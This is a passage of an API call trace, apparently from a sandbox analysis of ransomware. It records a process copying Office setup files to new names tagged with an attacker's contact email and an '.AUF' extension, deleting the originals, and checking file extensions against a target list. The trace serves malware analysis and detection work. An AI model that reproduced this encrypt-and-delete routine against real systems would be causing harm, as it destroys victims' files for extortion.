dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0210.880] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.880] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0210.882] GetLastError () returned 0x0 [0210.882] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0210.908] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0210.909] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0210.909] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0210.909] SetEndOfFile (hFile=0x1f8) returned 1 [0210.909] CloseHandle (hObject=0x1f8) returned 1 [0210.910] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.910] SetEndOfFile (hFile=0x1e0) returned 1 [0210.911] CloseHandle (hObject=0x1e0) returned 1 [0210.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.911] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0210.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0210.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0210.911] lstrlenW (lpString=".doc") returned 4 [0210.912] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.912] lstrlenW (lpString=".docx") returned 5 [0210.912] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0210.912] lstrlenW (lpString=".pdf") returned 4 [0210.912] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.912] lstrlenW (lpString=".xls") returned 4 [0210.912] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.912] lstrlenW (lpString=".xlsx") returned 5 [0210.912] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0210.912] lstrlenW (lpString=".ppt") returned 4 [0210.912] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0210.912] lstrlenW (lpString=".zip") returned 4 [0210.912] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.912] lstrlenW (lpString=".rar") returned 4 [0210.912] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.912] lstrlenW (lpString=".bz2") returned 4 [0210.912] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.912] lstrlenW (lpString=".7z") returned 3 [0210.912] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0210.912] lstrlenW (lpString=".dbf") returned 4 [0210.912] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0210.912] lstrlenW (lpString=".1cd") returned 4 [0210.912] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0210.913] lstrlenW (lpString=".jpg") returned 4 [0210.913] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0210.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0210.913] lstrlenW (lpString=".doc") returned 4 [0210.913] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.913] lstrlenW (lpString=".docx") returned 5 [0210.913] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0210.913] lstrlenW (lpString=".pdf") returned 4 [0210.913] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.913] lstrlenW (lpString=".xls") returned 4 [0210.913] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.913] lstrlenW (lpString=".xlsx") returned 5 [0210.913] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0210.913] lstrlenW (lpString=".ppt") returned 4 [0210.913] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0210.913] lstrlenW (lpString=".zip") returned 4 [0210.913] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.913] lstrlenW (lpString=".rar") returned 4 [0210.913] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.913] lstrlenW (lpString=".bz2") returned 4 [0210.913] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.913] lstrlenW (lpString=".7z") returned 3 [0210.913] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0210.913] lstrlenW (lpString=".dbf") returned 4 [0210.913] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0210.913] lstrlenW (lpString=".1cd") returned 4 [0210.913] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0210.913] lstrlenW (lpString=".jpg") returned 4 [0210.913] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.914] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0210.914] lstrlenW (lpString="SETUP.XML") returned 9 [0210.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0210.915] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1886) returned 1 [0210.915] CloseHandle (hObject=0x1e0) returned 1 [0210.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0210.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0210.916] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.916] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0210.916] GetLastError () returned 0x0 [0210.916] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x75e, lpOverlapped=0x0) returned 1 [0210.952] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x760, lpOverlapped=0x0) returned 1 [0210.952] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0210.952] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0210.953] SetEndOfFile (hFile=0x1f8) returned 1 [0210.953] CloseHandle (hObject=0x1f8) returned 1 [0210.953] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.953] SetEndOfFile (hFile=0x1e0) returned 1 [0210.954] CloseHandle (hObject=0x1e0) returned 1 [0210.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.954] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0210.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0210.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0210.955] lstrlenW (lpString=".doc") returned 4 [0210.955] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.955] lstrlenW (lpString=".docx") returned 5 [0210.955] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0210.955] lstrlenW (lpString=".pdf") returned 4 [0210.955] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.955] lstrlenW (lpString=".xls") returned 4 [0210.955] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.955] lstrlenW (lpString=".xlsx") returned 5 [0210.955] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0210.955] lstrlenW (lpString=".ppt") returned 4 [0210.955] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0210.955] lstrlenW (lpString=".zip") returned 4 [0210.955] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.955] lstrlenW (lpString=".rar") returned 4 [0210.955] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.955] lstrlenW (lpString=".bz2") returned 4 [0210.955] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.955] lstrlenW (lpString=".7z") returned 3 [0210.955] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0210.955] lstrlenW (lpString=".dbf") returned 4 [0210.955] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0210.955] lstrlenW (lpString=".1cd") returned 4 [0210.955] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0210.955] lstrlenW (lpString=".jpg") returned 4 [0210.955] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0210.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0210.955] lstrlenW (lpString=".doc") returned 4 [0210.955] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.955] lstrlenW (lpString=".docx") returned 5 [0210.955] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0210.955] lstrlenW (lpString=".pdf") returned 4 [0210.955] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.955] lstrlenW (lpString=".xls") returned 4 [0210.955] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.955] lstrlenW (lpString=".xlsx") returned 5 [0210.955] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0210.956] lstrlenW (lpString=".ppt") returned 4 [0210.956] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0210.956] lstrlenW (lpString=".zip") returned 4 [0210.956] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.956] lstrlenW (lpString=".rar") returned 4 [0210.956] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.956] lstrlenW (lpString=".bz2") returned 4 [0210.956] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.956] lstrlenW (lpString=".7z") returned 3 [0210.956] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0210.956] lstrlenW (lpString=".dbf") returned 4 [0210.956] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0210.956] lstrlenW (lpString=".1cd") returned 4 [0210.956] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0210.956] lstrlenW (lpString=".jpg") returned 4 [0210.956] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.956] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0210.956] lstrlenW (lpString="PrjProrWW.XML") returned 13 [0210.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.340] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=6421) returned 1 [0211.341] CloseHandle (hObject=0x1e0) returned 1 [0211.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0211.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.341] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.341] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0211.341] GetLastError () returned 0x0 [0211.341] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1915, lpOverlapped=0x0) returned 1 [0211.361] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0211.362] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.362] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xee, lpOverlapped=0x0) returned 1 [0211.362] SetEndOfFile (hFile=0x1f8) returned 1 [0211.364] CloseHandle (hObject=0x1f8) returned 1 [0211.364] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.364] SetEndOfFile (hFile=0x1e0) returned 1 [0211.365] CloseHandle (hObject=0x1e0) returned 1 [0211.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.366] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0211.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0211.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0211.366] lstrlenW (lpString=".doc") returned 4 [0211.366] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.366] lstrlenW (lpString=".docx") returned 5 [0211.366] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0211.366] lstrlenW (lpString=".pdf") returned 4 [0211.366] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.366] lstrlenW (lpString=".xls") returned 4 [0211.366] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.366] lstrlenW (lpString=".xlsx") returned 5 [0211.366] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0211.366] lstrlenW (lpString=".ppt") returned 4 [0211.366] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0211.366] lstrlenW (lpString=".zip") returned 4 [0211.366] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.366] lstrlenW (lpString=".rar") returned 4 [0211.366] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.366] lstrlenW (lpString=".bz2") returned 4 [0211.366] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.366] lstrlenW (lpString=".7z") returned 3 [0211.366] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0211.366] lstrlenW (lpString=".dbf") returned 4 [0211.366] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0211.366] lstrlenW (lpString=".1cd") returned 4 [0211.366] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0211.366] lstrlenW (lpString=".jpg") returned 4 [0211.366] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0211.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0211.367] lstrlenW (lpString=".doc") returned 4 [0211.367] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.367] lstrlenW (lpString=".docx") returned 5 [0211.367] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0211.367] lstrlenW (lpString=".pdf") returned 4 [0211.367] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.367] lstrlenW (lpString=".xls") returned 4 [0211.367] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.367] lstrlenW (lpString=".xlsx") returned 5 [0211.367] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0211.367] lstrlenW (lpString=".ppt") returned 4 [0211.367] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0211.367] lstrlenW (lpString=".zip") returned 4 [0211.367] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.367] lstrlenW (lpString=".rar") returned 4 [0211.367] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.367] lstrlenW (lpString=".bz2") returned 4 [0211.367] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.367] lstrlenW (lpString=".7z") returned 3 [0211.367] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0211.367] lstrlenW (lpString=".dbf") returned 4 [0211.367] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0211.367] lstrlenW (lpString=".1cd") returned 4 [0211.367] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0211.367] lstrlenW (lpString=".jpg") returned 4 [0211.367] 